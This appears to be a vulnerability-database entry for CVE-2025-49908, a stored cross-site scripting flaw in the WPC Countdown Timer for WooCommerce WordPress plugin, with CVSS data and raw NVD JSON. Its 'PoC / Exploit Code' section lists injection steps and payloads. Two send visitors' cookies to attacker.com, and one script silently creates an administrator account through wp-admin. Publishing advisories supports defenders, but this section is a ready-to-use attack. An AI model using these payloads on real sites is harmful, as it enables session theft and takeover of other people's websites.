Security Vulnerability Report
中文
CVE-2025-49908 CVSS 6.5 MEDIUM

CVE-2025-49908

Published: 2025-10-22 15:15:37
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPClever WPC Countdown Timer for WooCommerce wpc-countdown-timer allows Stored XSS.This issue affects WPC Countdown Timer for WooCommerce: from n/a through <= 3.1.4.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WPC Countdown Timer for WooCommerce <= 3.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for WPC Countdown Timer for WooCommerce (<=3.1.4) CVE-2025-49908 --> <!-- Step 1: Login as authenticated user with edit_posts capability (e.g., shop manager, editor, author) --> <!-- Step 2: Navigate to the WPC Countdown Timer plugin settings page --> <!-- Step 3: Inject the following payload into a vulnerable input field (e.g., countdown title, description, or label field) --> <!-- Payload 1: Basic cookie stealing --> <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> <!-- Payload 2: Using img tag onerror event --> <img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)"> <!-- Payload 3: SVG-based XSS --> <svg/onload=alert(document.domain)> <!-- Payload 4: WooCommerce admin context exploitation --> <script> var xhr = new XMLHttpRequest(); xhr.open('POST', '/wp-admin/user-new.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('action=createuser&_wpnonce=XXX&user_login=attacker&[email protected]&pass1=Password123!&pass2=Password123!&role=administrator'); </script> <!-- After injection, the malicious script will be stored in the database and executed when any user visits a page containing the countdown timer widget -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49908", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:36.777", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPClever WPC Countdown Timer for WooCommerce wpc-countdown-timer allows Stored XSS.This issue affects WPC Countdown Timer for WooCommerce: from n/a through <= 3.1.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wpc-countdown-timer/vulnerability/wordpress-wpc-countdown-timer-for-woocommerce-plugin-3-1-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}